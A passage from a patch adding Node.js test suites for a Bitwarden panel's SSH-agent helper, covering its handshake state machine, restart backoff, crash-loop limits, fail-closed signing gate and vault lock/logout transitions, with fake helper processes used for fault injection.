const enabled = drive(Model.sshAgentInitialState(), [{ kind: "enabled", value: true, nowMs: 0 }])
eq("enabling starts the helper", enabled.last.start, true)
eq("enabling moves to starting", enabled.state.phase, "starting")
check("enabling does not open the gate before the handshake", enabled.state.gateOpen === false,
JSON.stringify(enabled.state))
const handshaking = drive(enabled.state, [{ kind: "started", nowMs: 1 }])
eq("a started helper is sent hello", handshaking.last.writeHello, true)
eq("a started helper is handshaking", handshaking.state.phase, "handshaking")
check("the gate stays closed while handshaking", handshaking.state.gateOpen === false,
JSON.stringify(handshaking.state))
const live = reachReady(0)
eq("a v1 ready completes the handshake", live.state.phase, "ready")
check("ready opens the signing gate", live.state.gateOpen === true, JSON.stringify(live.state))
eq("ready records the socket path", live.state.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
eq("ready records the fifo path", live.state.fifoPath, "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo")
eq("ready records the agent version", live.state.agentVersion, "0.1.0")
check("no reduction ever asks QML to wait",
live.actions.every(a => !("wait" in a) && !("waitMs" in a)), JSON.stringify(live.actions))
const badVersion = drive(Model.sshAgentInitialState(), [
{ kind: "enabled", value: true, nowMs: 0 },
{ kind: "started", nowMs: 1 },
{ kind: "line", line: '{"v":2,"type":"ready","socketPath":"/s","fifoPath":"/f","agentVersion":"9"}', nowMs: 2 }
])
eq("a version mismatch stops the helper", badVersion.last.stop, true)
eq("a version mismatch is reported", badVersion.state.errorCode, "VERSION_MISMATCH")
check("a version mismatch keeps the gate closed", badVersion.state.gateOpen === false,
JSON.stringify(badVersion.state))
const garbage = drive(reachReady(0).state, [{ kind: "line", line: "not json at all", nowMs: 100 }])
eq("a malformed line closes the gate", garbage.state.gateOpen, false)
eq("a malformed line stops the helper", garbage.last.stop, true)
eq("a malformed line is reported", garbage.state.errorCode, "MALFORMED")
const tooLong = drive(reachReady(0).state, [{ kind: "line", line: overlong, nowMs: 100 }])
eq("an overlong line closes the gate", tooLong.state.gateOpen, false)
eq("an overlong line is reported", tooLong.state.errorCode, "LINE_TOO_LONG")
const blank = drive(reachReady(0).state, [{ kind: "line", line: "", nowMs: 100 }])
eq("a blank line is ignored", blank.state.phase, "ready")
check("a blank line leaves the gate open", blank.state.gateOpen === true, JSON.stringify(blank.state))
const passthrough = drive(reachReady(0).state, [{
kind: "line", nowMs: 100,
line: JSON.stringify({ v: 1, type: "keys_loaded", epoch: 7, keyCount: 2, skipped: [] })
}])
eq("a live event stays ready", passthrough.state.phase, "ready")
eq("a live event reaches the panel", passthrough.last.message.type, "keys_loaded")
const secondReady = drive(reachReady(0).state, [{ kind: "line", line: readyLine, nowMs: 100 }])
eq("a duplicate ready is a protocol violation", secondReady.state.errorCode, "PROTOCOL")
check("a duplicate ready closes the gate", secondReady.state.gateOpen === false,
JSON.stringify(secondReady.state))
const earlyEvent = drive(handshaking.state, [{
kind: "line", nowMs: 5, line: JSON.stringify({ v: 1, type: "locked", epoch: 1 })
}])
eq("an event before ready is a protocol violation", earlyEvent.state.errorCode, "PROTOCOL")
const stalled = drive(handshaking.state, [{ kind: "handshakeTimeout", nowMs: 9999 }])
eq("a stalled handshake is bounded", stalled.state.errorCode, "HANDSHAKE_TIMEOUT")
eq("a stalled handshake stops the helper", stalled.last.stop, true)
check("a stalled handshake keeps the gate closed", stalled.state.gateOpen === false,
JSON.stringify(stalled.state))
const eof = drive(reachReady(0).state, [{ kind: "exited", exitCode: 0, nowMs: 100 }])
eq("stdout EOF closes the gate", eof.state.gateOpen, false)
eq("stdout EOF schedules a restart", eof.last.restartInMs, Model.sshAgentRestartDelayMs(1))
eq("stdout EOF backs off", eof.state.phase, "backoff")
const restarted = drive(eof.state, [{ kind: "restartTimer", nowMs: 200 }])
eq("the backoff timer restarts the helper", restarted.last.start, true)
eq("the backoff timer returns to starting", restarted.state.phase, "starting")
eq("backoff step 1", Model.sshAgentRestartDelayMs(1), 500)
eq("backoff step 2", Model.sshAgentRestartDelayMs(2), 1000)
eq("backoff step 3", Model.sshAgentRestartDelayMs(3), 2000)
check("backoff is capped", Model.sshAgentRestartDelayMs(50) === 30000,
String(Model.sshAgentRestartDelayMs(50)))
check("backoff never goes negative", Model.sshAgentRestartDelayMs(0) >= 0,
String(Model.sshAgentRestartDelayMs(0)))
// A crash loop: every run dies immediately, so nothing ever counts as healthy.
let loop = Model.sshAgentInitialState()
let loopActions = []
let clock = 0
loop = Model.sshAgentReduce(loop, { kind: "enabled", value: true, nowMs: clock }).state
for (let i = 0; i < Model.sshAgentMaxRestarts() + 2; i++) {
clock += 10
loop = Model.sshAgentReduce(loop, { kind: "started", nowMs: clock }).state
clock += 10
const step = Model.sshAgentReduce(loop, { kind: "exited", exitCode: 101, nowMs: clock })
loop = step.state
loopActions.push(step.action)
if (loop.phase !== "backoff") break
clock += 10
loop = Model.sshAgentReduce(loop, { kind: "restartTimer", nowMs: clock }).state
}
eq("a crash loop stops restarting", loop.phase, "failed")
eq("a crash loop is reported", loop.errorCode, "CRASH_LOOP")
check("a crash loop leaves the gate closed", loop.gateOpen === false, JSON.stringify(loop))
eq("a crash loop schedules no further restart", loopActions[loopActions.length - 1].restartInMs, -1)
check("a crash loop is bounded by the restart cap",
loopActions.filter(a => a.restartInMs > 0).length === Model.sshAgentMaxRestarts(),
String(loopActions.filter(a => a.restartInMs > 0).length))
const failedIgnores = drive(loop, [
{ kind: "restartTimer", nowMs: clock + 1000 },
{ kind: "started", nowMs: clock + 1001 }
])
eq("a failed supervisor stays failed", failedIgnores.state.phase, "failed")
check("a failed supervisor starts nothing", failedIgnores.actions.every(a => !a.start),
JSON.stringify(failedIgnores.actions))
// The loop that actually happens in practice: the helper starts fine, answers
// the handshake, serves briefly, and dies -- over and over. Completing a
// handshake must not wipe the failure history, or a helper that crashes a
// second after every start is restarted forever.
{
let crashy = Model.sshAgentInitialState()
let scheduled = 0
let t = 0
crashy = Model.sshAgentReduce(crashy, { kind: "enabled", value: true, nowMs: t }).state
for (let i = 0; i < Model.sshAgentMaxRestarts() + 3; i++) {
t += 10
crashy = Model.sshAgentReduce(crashy, { kind: "started", nowMs: t }).state
t += 10
crashy = Model.sshAgentReduce(crashy, { kind: "line", line: readyLine, nowMs: t }).state
// Serves for well under the healthy threshold, then dies.
t += 1500
const step = Model.sshAgentReduce(crashy, { kind: "exited", exitCode: 137, nowMs: t })
crashy = step.state
if (step.action.restartInMs >= 0) scheduled++
if (crashy.phase !== "backoff") break
t += 10
crashy = Model.sshAgentReduce(crashy, { kind: "restartTimer", nowMs: t }).state
}
eq("a helper that handshakes then dies still trips the bound", crashy.phase, "failed")
eq("that loop is reported as a crash loop", crashy.errorCode, "CRASH_LOOP")
eq("that loop is bounded by the same restart cap", scheduled, Model.sshAgentMaxRestarts())
check("that loop leaves the gate closed", crashy.gateOpen === false, JSON.stringify(crashy))
}
// A helper that ran healthily for a long time is not a crash loop.
const healthy = drive(reachReady(0).state, [{ kind: "exited", exitCode: 0, nowMs: 10 * 60 * 1000 }])
eq("a long healthy run resets the backoff", healthy.last.restartInMs, Model.sshAgentRestartDelayMs(1))
eq("a long healthy run keeps supervising", healthy.state.phase, "backoff")
const disabledMidflight = drive(reachReady(0).state, [{ kind: "enabled", value: false, nowMs: 100 }])
eq("disabling stops the helper", disabledMidflight.last.stop, true)
eq("disabling cancels a pending restart", disabledMidflight.last.cancelRestart, true)
eq("disabling returns to disabled", disabledMidflight.state.phase, "disabled")
check("disabling closes the gate", disabledMidflight.state.gateOpen === false,
JSON.stringify(disabledMidflight.state))
const disabledDuringBackoff = drive(eof.state, [{ kind: "enabled", value: false, nowMs: 150 }])
eq("disabling during backoff cancels the restart", disabledDuringBackoff.last.cancelRestart, true)
eq("disabling during backoff is disabled", disabledDuringBackoff.state.phase, "disabled")
const reEnabled = drive(loop, [{ kind: "enabled", value: false, nowMs: 1 }, { kind: "enabled", value: true, nowMs: 2 }])
eq("re-enabling clears the crash-loop failure", reEnabled.state.errorCode, "")
eq("re-enabling starts the helper again", reEnabled.last.start, true)
const stoppingExit = drive(garbage.state, [{ kind: "exited", exitCode: 143, nowMs: 200 }])
eq("an exit after a protocol stop still backs off", stoppingExit.state.phase, "backoff")
eq("an exit after a protocol stop keeps its error", stoppingExit.state.errorCode, "MALFORMED")
// -------------------------------------------------------------------------
// Real child processes
// -------------------------------------------------------------------------
const tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-agent-"))
const runtimeDir = path.join(tmpRoot, "run")
fs.mkdirSync(runtimeDir, { mode: 0o700 })
function runHelper(command, environment, opts) {
return new Promise(resolve => {
const child = spawn(command[0], command.slice(1), {
env: environment, stdio: ["pipe", "pipe", "pipe"]
})
let state = Model.sshAgentInitialState()
state = Model.sshAgentReduce(state, { kind: "enabled", value: true, nowMs: 0 }).state
let buffered = ""
let settled = false
// The state at the moment the handshake landed. The exit that follows
// clears the helper's advertised paths by design, so what `ready` carried
// has to be captured while it is still true.
let readyState = null
const messages = []
const finish = () => {
if (settled) return
settled = true
clearTimeout(guard)
try { child.kill("SIGKILL") } catch (e) {}
resolve({ state, readyState, messages })
}
const guard = setTimeout(finish, (opts && opts.timeoutMs) || 5000)
const started = Model.sshAgentReduce(state, { kind: "started", nowMs: 1 })
state = started.state
if (started.action.writeHello) child.stdin.write(Model.sshAgentHelloLine())
child.stdout.on("data", chunk => {
buffered += chunk.toString("utf8")
let nl
while ((nl = buffered.indexOf("\n")) >= 0) {
const line = buffered.slice(0, nl)
buffered = buffered.slice(nl + 1)
const step = Model.sshAgentReduce(state, { kind: "line", line: line, nowMs: Date.now() })
state = step.state
if (step.action.message) messages.push(step.action.message)
if (step.action.stop) { try { child.kill("SIGTERM") } catch (e) {} }
if (state.phase === "ready" && !readyState) {
readyState = state
if (opts && opts.stopOnReady) child.stdin.end()
}
}
})
child.on("exit", code => {
state = Model.sshAgentReduce(state, { kind: "exited", exitCode: code, nowMs: Date.now() }).state
finish()
})
child.on("error", () => finish())
})
}
function writeFakeHelper(name, body) {
const file = path.join(tmpRoot, name)
fs.writeFileSync(file, "#!/usr/bin/env node\n" + body, { mode: 0o700 })
return file
}
const fakeReady = writeFakeHelper("fake-ready.js", `
process.stdin.resume()
let seen = ""
process.stdin.on("data", d => {
seen += d.toString()
if (seen.indexOf('"hello"') >= 0) {
process.stdout.write(JSON.stringify({ v: 1, type: "ready",
socketPath: "/run/fake/ssh-agent.sock", fifoPath: "/run/fake/ssh-keys.fifo",
agentVersion: "0.0.0-fake" }) + "\\n")
seen = ""
}
})
process.stdin.on("end", () => process.exit(0))
`)
const fakeGarbage = writeFakeHelper("fake-garbage.js", `
process.stdin.resume()
process.stdout.write("this is not ndjson\\n")
setTimeout(() => process.exit(0), 2000)
`)
const fakeSilent = writeFakeHelper("fake-silent.js", `
process.stdin.resume()
setTimeout(() => process.exit(0), 60000)
`)
const fakeCrash = writeFakeHelper("fake-crash.js", `process.exit(9)`)
const fakeFlood = writeFakeHelper("fake-flood.js", `
process.stdin.resume()
let seen = ""
process.stdin.on("data", d => {
seen += d.toString()
if (seen.indexOf('"hello"') >= 0) {
process.stdout.write('{"v":1,"type":"error","code":"X","message":"' + "z".repeat(200000) + '"}\\n')
seen = ""
}
})
`)
const realHelper = path.join(repoRoot, "agent", "target", "debug", "qs-bitwarden-ssh-agent")
async function processTests() {
const nodeBin = process.execPath
const okRun = await runHelper([nodeBin, fakeReady], Model.sshAgentHelperEnv(runtimeDir), { stopOnReady: true })
check("a fake helper completes the handshake", okRun.readyState !== null, JSON.stringify(okRun.state))
eq("a fake helper opens the gate on ready", okRun.readyState && okRun.readyState.gateOpen, true)
eq("a fake helper reports its version", okRun.readyState && okRun.readyState.agentVersion, "0.0.0-fake")
eq("closing stdin ends the fake helper and closes the gate", okRun.state.gateOpen, false)
const garbageRun = await runHelper([nodeBin, fakeGarbage], Model.sshAgentHelperEnv(runtimeDir))
eq("a garbage-emitting helper fails closed", garbageRun.state.errorCode, "MALFORMED")
check("a garbage-emitting helper never opens the gate", garbageRun.state.gateOpen === false,
JSON.stringify(garbageRun.state))
const floodRun = await runHelper([nodeBin, fakeFlood], Model.sshAgentHelperEnv(runtimeDir))
eq("an overlong helper line fails closed", floodRun.state.errorCode, "LINE_TOO_LONG")
const crashRun = await runHelper([nodeBin, fakeCrash], Model.sshAgentHelperEnv(runtimeDir))
eq("a helper that dies at once backs off", crashRun.state.phase, "backoff")
check("a helper that dies at once leaves the gate closed", crashRun.state.gateOpen === false,
JSON.stringify(crashRun.state))
const silentRun = await runHelper([nodeBin, fakeSilent], Model.sshAgentHelperEnv(runtimeDir), { timeoutMs: 1200 })
eq("a silent helper never opens the gate", silentRun.state.gateOpen, false)
eq("a silent helper stays in the handshake", silentRun.state.phase, "handshaking")
if (fs.existsSync(realHelper)) {
const realRun = await runHelper([realHelper], Model.sshAgentHelperEnv(runtimeDir), { stopOnReady: true })
check("the real helper completes the v1 handshake with only XDG_RUNTIME_DIR",
realRun.readyState !== null, JSON.stringify(realRun.state))
const readyReal = realRun.readyState || { socketPath: "", fifoPath: "", agentVersion: "" }
check("the real helper reported a socket under the runtime dir",
readyReal.socketPath.indexOf(runtimeDir) === 0,
readyReal.socketPath + " (expected under " + runtimeDir + ")")
check("the real helper reported a fifo under the runtime dir",
readyReal.fifoPath.indexOf(runtimeDir) === 0,
readyReal.fifoPath + " (expected under " + runtimeDir + ")")
check("the real helper reported a version", /^\d+\.\d+\.\d+$/.test(readyReal.agentVersion),
readyReal.agentVersion)
check("closing stdin exits the real helper", realRun.state.phase === "backoff",
"phase " + realRun.state.phase)
eq("the real helper leaves the gate closed once it is gone", realRun.state.gateOpen, false)
check("the real helper removed its socket on the way out",
!fs.existsSync(readyReal.socketPath), "socket still present at " + readyReal.socketPath)
} else {
failures.push("the real helper binary is missing\n build it with: cargo build --manifest-path agent/Cargo.toml --locked")
}
}
// -------------------------------------------------------------------------
// The ordinary vault must not depend on the helper
// -------------------------------------------------------------------------
// The panel is three QML files now -- the SSH settings sections and the
// approval screen have their own. A check that reads only the largest one
// silently narrows as markup moves out of it.
const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"]
.map(file => fs.readFileSync(path.join(repoRoot, file), "utf8"))
.join("\n")
check("the supervisor Process is tracked, not detached",
!/execDetached\([^)]*sshAgent/i.test(panelSrc), "found execDetached for the ssh agent")
check("the supervisor keeps stdin open", /id:\s*sshAgentProc[\s\S]{0,400}?stdinEnabled:\s*true/.test(panelSrc),
"sshAgentProc has no stdinEnabled: true")
check("the supervisor parses stdout by line from startup",
/id:\s*sshAgentProc[\s\S]{0,600}?stdout:\s*SplitParser/.test(panelSrc),
"sshAgentProc has no SplitParser attached")
check("the supervisor uses a minimal environment",
/id:\s*sshAgentProc[\s\S]{0,600}?clearEnvironment:\s*true/.test(panelSrc),
"sshAgentProc does not clear its environment")
// The helper cleans up its socket and FIFO when its control channel closes,
// and not when it is signalled. A stop that goes straight to SIGTERM leaves
// both behind for the next start to reclaim, so the supervisor has to ask
// before it terminates.
check("stopping the helper closes its control channel first",
/function stopSshAgentHelper\(\)[\s\S]{0,600}?stdinEnabled = false/.test(panelSrc),
"the stop path never closes stdin")
check("stopping the helper sends the shutdown line",
/function stopSshAgentHelper\(\)[\s\S]{0,600}?sshAgentShutdownLine\(\)/.test(panelSrc),
"the stop path never sends shutdown")
check("termination is a backstop behind a grace period",
/sshAgentTerminateTimer[\s\S]{0,300}?onTriggered:\s*if \(sshAgentProc\.running\) sshAgentProc\.running = false/.test(panelSrc),
"nothing terminates a helper that ignores the shutdown request")
check("starting the helper reopens its control channel",
/function startSshAgentHelper\(\)[\s\S]{0,300}?stdinEnabled = true/.test(panelSrc),
"a restarted helper would have no control channel")
processTests().then(() => {
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-control: ${pass} passed`)
try { fs.rmSync(tmpRoot, { recursive: true, force: true }) } catch (e) {}
})
@@ -0,0 +1,274 @@
#!/usr/bin/env node
// The vault's lifecycle drives the companion's. These tests pin the design's
// state table and the ordering rules around a lock: deny first, cancel work,
// drop private material, keep only the public projection, and never let the
// panel's own lock wait on a companion that will not answer.
//
// node tests/ssh-agent-lifecycle.test.js
const fs = require("fs")
const path = require("path")
const repoRoot = path.join(__dirname, "..")
const Model = {}
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.sshAgentVaultState = sshAgentVaultState
exports.sshAgentIdentityPolicy = sshAgentIdentityPolicy
exports.sshAgentLifecycleTransition = sshAgentLifecycleTransition
exports.sshAgentLockAckTimeoutMs = sshAgentLockAckTimeoutMs
exports.sshAgentVaultLockedLine = sshAgentVaultLockedLine
exports.sshAgentLoggedOutLine = sshAgentLoggedOutLine
exports.sshAgentRevokeGrantsLine = sshAgentRevokeGrantsLine
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
const ctx = extra => Object.assign({
enabled: true, helperReady: true, loggedIn: true,
unlocked: true, loading: false, hasPublicCache: true
}, extra || {})
// -------------------------------------------------------------------------
// The state table from the design, as one function
// -------------------------------------------------------------------------
eq("the feature off is its own state", Model.sshAgentVaultState(ctx({ enabled: false })), "disabled")
eq("a stopped companion is disabled too", Model.sshAgentVaultState(ctx({ helperReady: false })), "disabled")
eq("no account is logged out", Model.sshAgentVaultState(ctx({ loggedIn: false })), "logged-out")
eq("a load in flight is loading", Model.sshAgentVaultState(ctx({ loading: true })), "loading")
eq("an unlocked vault with keys is unlocked", Model.sshAgentVaultState(ctx()), "unlocked")
eq("locked with a cache keeps the cache",
Model.sshAgentVaultState(ctx({ unlocked: false })), "locked-cached")
eq("locked before any load is empty",
Model.sshAgentVaultState(ctx({ unlocked: false, hasPublicCache: false })), "locked-empty")
// Logged out outranks everything below it: an account change must not leave a
// public projection behind just because one was loaded a moment ago.
eq("logged out outranks a stale cache",
Model.sshAgentVaultState(ctx({ loggedIn: false, hasPublicCache: true })), "logged-out")
eq("disabled outranks logged out",
Model.sshAgentVaultState(ctx({ enabled: false, loggedIn: false })), "disabled")
const policy = state => Model.sshAgentIdentityPolicy(state)
for (const [state, publicIds, privateKeys, signing] of [
["disabled", false, false, "denied"],
["logged-out", false, false, "denied"],
["locked-empty", false, false, "needs-unlock"],
["loading", true, false, "denied"],
["unlocked", true, true, "allowed"],
["locked-cached", true, false, "needs-unlock"]
]) {
const p = policy(state)
eq(`${state} offers public identities: ${publicIds}`, p.publicIdentities, publicIds)
eq(`${state} holds private keys: ${privateKeys}`, p.privateKeys, privateKeys)
eq(`${state} signing is ${signing}`, p.signing, signing)
}
// Private keys exist in exactly one state, and it is the only one that signs.
const allStates = ["disabled", "logged-out", "locked-empty", "loading", "unlocked", "locked-cached"]
eq("private keys live in exactly one state",
allStates.filter(s => policy(s).privateKeys).length, 1)
eq("only that state signs without a further unlock",
allStates.filter(s => policy(s).signing === "allowed").join(","), "unlocked")
check("no state holds private keys without allowing signing",
allStates.every(s => !policy(s).privateKeys || policy(s).signing === "allowed"), "mismatch")
// -------------------------------------------------------------------------
// Lifecycle transitions
// -------------------------------------------------------------------------
const at = (event, extra) => Model.sshAgentLifecycleTransition(event, ctx(extra))
// A lock denies first and asks for an acknowledgment it will not wait on.
const lock = at("lock", { loadActive: true })
check("lock tells the companion to lock",
lock.controlLines.indexOf(Model.sshAgentVaultLockedLine(ctx().epoch || 0)) >= 0
|| lock.controlLines.some(l => l.indexOf('"vault_locked"') >= 0),
JSON.stringify(lock.controlLines))
eq("lock cancels an in-flight load", lock.cancelLoad, true)
eq("lock starts no new load", lock.startLoad, false)
eq("lock waits for an acknowledgment", lock.awaitLockAck, true)
eq("lock keeps the public projection", lock.clearPublic, false)
eq("lock does not stop the helper", lock.stopHelper, false)
eq("the acknowledgment wait is bounded at two seconds", Model.sshAgentLockAckTimeoutMs(), 2000)
// Screen lock and suspend are locks. They are listed separately so the table
// says so, rather than leaving it to a reader to infer from the panel.
for (const event of ["screen-lock", "suspend"]) {
const t = at(event, { loadActive: true })
eq(`${event} locks the companion`, t.awaitLockAck, true)
eq(`${event} cancels an in-flight load`, t.cancelLoad, true)
eq(`${event} keeps the public projection`, t.clearPublic, false)
check(`${event} sends the same line a lock does`,
JSON.stringify(t.controlLines) === JSON.stringify(lock.controlLines), JSON.stringify(t.controlLines))
}
// Logout and account change clear the public projection too.
for (const event of ["logout", "account-change"]) {
const t = at(event, { loadActive: true })
eq(`${event} clears the public projection`, t.clearPublic, true)
eq(`${event} cancels an in-flight load`, t.cancelLoad, true)
check(`${event} tells the companion the account is gone`,
t.controlLines.some(l => l.indexOf('"vault_logged_out"') >= 0), JSON.stringify(t.controlLines))
check(`${event} does not merely lock`,
!t.controlLines.some(l => l.indexOf('"vault_locked"') >= 0), JSON.stringify(t.controlLines))
eq(`${event} waits for no acknowledgment`, t.awaitLockAck, false)
}
// Unlock and sync both ride the panel's existing read.
for (const event of ["unlock", "sync"]) {
const t = at(event)
eq(`${event} starts a key load`, t.startLoad, true)
eq(`${event} clears nothing`, t.clearPublic, false)
eq(`${event} sends no lifecycle line`, t.controlLines.length, 0)
}
// Startup into a vault the keyring already unlocked. A freshly started
// companion is in "locked, no cache yet" while the panel is unlocked, so
// startup is not evidence that the vault is locked.
const startup = at("startup", { unlocked: true, hasPublicCache: false })
eq("starting beside a remembered session loads keys", startup.startLoad, true)
const startupLocked = at("startup", { unlocked: false, hasPublicCache: false })
eq("starting into a locked vault loads nothing", startupLocked.startLoad, false)
// Disabling stops the companion outright; its socket and FIFO go with it.
const disabled = at("disable", { loadActive: true })
eq("disabling stops the helper", disabled.stopHelper, true)
eq("disabling cancels an in-flight load", disabled.cancelLoad, true)
eq("disabling clears the public projection", disabled.clearPublic, true)
const shutdown = at("shutdown", { loadActive: true })
eq("panel shutdown stops the helper", shutdown.stopHelper, true)
eq("panel shutdown cancels an in-flight load", shutdown.cancelLoad, true)
// Nothing is asked of a companion that is not there to answer.
for (const event of ["lock", "logout", "unlock", "sync", "screen-lock", "suspend"]) {
const t = Model.sshAgentLifecycleTransition(event, ctx({ enabled: false, helperReady: false }))
eq(`${event} sends nothing while disabled`, t.controlLines.length, 0)
eq(`${event} starts no load while disabled`, t.startLoad, false)
eq(`${event} waits for nothing while disabled`, t.awaitLockAck, false)
}
// A helper that has not finished its handshake cannot be sent lifecycle lines,
// but a lock must still cancel local work rather than quietly doing nothing.
const lockNoHelper = Model.sshAgentLifecycleTransition("lock", ctx({ helperReady: false, loadActive: true }))
eq("a lock with no live helper still cancels local work", lockNoHelper.cancelLoad, true)
eq("a lock with no live helper waits for no acknowledgment", lockNoHelper.awaitLockAck, false)
// -------------------------------------------------------------------------
// The panel's own lock is never blocked by the companion
// -------------------------------------------------------------------------
// The panel is three QML files now -- the SSH settings sections and the
// approval screen have their own. A check that reads only the largest one
// silently narrows as markup moves out of it.
const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"]
.map(file => fs.readFileSync(path.join(repoRoot, file), "utf8"))
.join("\n")
const lockVault = panelSrc.slice(panelSrc.indexOf("function lockVault()"),
panelSrc.indexOf("function lockVault()") + 1400)
check("locking runs bw lock without waiting on the companion",
/lockProc\.running = true/.test(lockVault) && !/await|\.wait\(/.test(lockVault), lockVault.slice(0, 300))
check("locking reports the vault locked on the panel's own schedule",
/status = "locked"/.test(lockVault), "lockVault never sets the locked status")
check("locking notifies the companion",
/applySshAgentLifecycle\("lock"\)|sshAgentVaultLockedLine/.test(lockVault),
"lockVault never tells the companion")
check("a lock acknowledgment timeout kills the helper",
/id: sshAgentLockAckTimer[\s\S]{0,400}?onTriggered:[\s\S]{0,200}?(sshAgentProc\.running = false|killSshAgentHelper)/
.test(panelSrc),
"no acknowledgment timeout kills the helper")
check("the acknowledgment timer uses the model's bound",
/id: sshAgentLockAckTimer[\s\S]{0,200}?interval: Model\.sshAgentLockAckTimeoutMs\(\)/.test(panelSrc),
"the acknowledgment timeout is not the model's")
check("a locked acknowledgment stops the timer",
/"locked"[\s\S]{0,300}?sshAgentLockAckTimer\.stop\(\)/.test(panelSrc),
"the locked acknowledgment never stops the kill timer")
check("logout tells the companion the account is gone",
/function logoutAccount\(\)[\s\S]{0,900}?applySshAgentLifecycle\("logout"\)/.test(panelSrc),
"logoutAccount never notifies the companion")
check("screen lock and suspend reach the companion through the lock path",
/function onScreenLockState[\s\S]{0,300}?lockVault\(\)/.test(panelSrc)
&& /function onSleepSignal[\s\S]{0,900}?lockVault\(\)/.test(panelSrc),
"screen lock or suspend does not lock the vault")
check("the gate opening arms a startup load",
/onSshAgentGateOpenChanged[\s\S]{0,1400}?sshAgentStartupLoadTimer\.restart\(\)/.test(panelSrc),
"the gate opening never arms a startup load")
check("a remembered unlocked session loads keys once the helper is ready",
/function maybeStartupLoad\(\)[\s\S]{0,1200}?applySshAgentLifecycle\("startup"\)/.test(panelSrc),
"nothing applies the startup transition")
// On a shell restart the handshake and the first `bw status` race, so waiting
// on only one of them loses the load whenever the other is second.
check("both edges of the startup race trigger the load",
/id: sshAgentStartupLoadTimer[\s\S]{0,200}?maybeStartupLoad\(\)/.test(panelSrc)
&& /onStatusChanged:[\s\S]{0,200}?maybeStartupLoad\(\)/.test(panelSrc),
"only one edge triggers the startup load")
// The panel's first read is launched before the helper handshakes, so the
// completion of that read is the third edge that can owe a key load.
check("a completed read re-checks whether a startup load is owed",
/function onListFinished\(rawJson\)[\s\S]{0,900}?maybeStartupLoad\(\)/.test(panelSrc),
"a finished read never re-checks for an owed startup load")
check("a startup attempt is recorded before it runs, not after",
/sshAgentLoadedForVaultEpoch = root\.vaultEpoch\s*\n\s*applySshAgentLifecycle\("startup"\)/.test(panelSrc),
"a failed startup load could relaunch itself")
check("the startup load happens once per vault epoch, not once per edge",
/function maybeStartupLoad\(\)[\s\S]{0,1200}?sshAgentLoadedForVaultEpoch === root\.vaultEpoch/.test(panelSrc),
"nothing stops the startup load repeating")
// The lock acknowledgment is what stops the kill timer, so it has to be
// consumed wherever the companion's messages are handled.
const messageHandler = panelSrc.slice(
panelSrc.indexOf("function onSshAgentMessage(message)"),
panelSrc.indexOf("function syncSshAgentSupervision()"))
check("the companion's own events are consumed rather than ignored",
/message\.type === "locked"/.test(messageHandler) && /message\.type === "keys_loaded"/.test(messageHandler),
"onSshAgentMessage ignores the lock acknowledgment or the load result")
// Turning the feature off stops the helper through the supervisor, which is a
// different path from the lifecycle table -- so the table's clearPublic has to
// be applied explicitly or the projection is left on disk by a feature that is
// no longer running.
check("disabling the feature clears the public projection",
/onSshAgentEnabledChanged[\s\S]{0,700}?applySshAgentLifecycle\("disable"\)/.test(panelSrc),
"disabling never applies the disable transition")
// A restarted helper is empty even when the vault epoch has not moved: the
// keystore lives in the helper's memory, not the vault's. Keying the
// startup-load guard on the vault epoch alone leaves a fresh helper keyless
// until something unrelated happens to bump it.
check("a new helper is always eligible for a load",
/onSshAgentGateOpenChanged[\s\S]{0,700}?sshAgentLoadedForVaultEpoch = -1/.test(panelSrc),
"a restarted helper inherits the old load bookkeeping and never loads")
check("a departed helper's key count is not left standing",
/onSshAgentGateOpenChanged[\s\S]{0,700}?sshAgentKeyCount = 0/.test(panelSrc),
"the panel keeps reporting keys a dead helper no longer holds")
// -------------------------------------------------------------------------
// Control lines
// -------------------------------------------------------------------------
eq("revoke_grants is a versioned v1 line", Model.sshAgentRevokeGrantsLine(),
JSON.stringify({ v: 1, type: "revoke_grants" }) + "\n")
for (const line of [Model.sshAgentVaultLockedLine(3), Model.sshAgentLoggedOutLine(),
Model.sshAgentRevokeGrantsLine()]) {
check("no lifecycle line carries key material or a session token",
line.indexOf("BW_SESSION") < 0 && line.indexOf("privateKey") < 0 && line.indexOf("PRIVATE") < 0, line)
}
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-lifecycle: ${pass} passed`)
@@ -0,0 +1,477 @@
#!/usr/bin/env node
// One `bw list items` read feeds both the panel and the companion. These tests
// run the real shell pipeline against a fake `bw` and a real FIFO, because the
// properties that matter are process-boundary properties: what reaches QML's
// stdout, what reaches the FIFO, and -- above all -- that the optional agent
// branch can never take the ordinary item list down with it.
//
// node tests/ssh-agent-pipeline.test.js
const fs = require("fs")
const os = require("os")
const path = require("path")
const { spawnSync, execFileSync } = require("child_process")
const repoRoot = path.join(__dirname, "..")
const Model = {}
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.sanitizedListCommand = sanitizedListCommand
exports.sshAgentFifoPath = sshAgentFifoPath
exports.loadIdEnvVar = loadIdEnvVar
exports.isValidLoadId = isValidLoadId
exports.loadIdCommand = loadIdCommand
exports.sshAgentLoadBeginLine = sshAgentLoadBeginLine
exports.sshAgentLoadEndLine = sshAgentLoadEndLine
exports.sshAgentVaultLockedLine = sshAgentVaultLockedLine
exports.sshAgentLoggedOutLine = sshAgentLoggedOutLine
exports.sshAgentHelloLine = sshAgentHelloLine
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
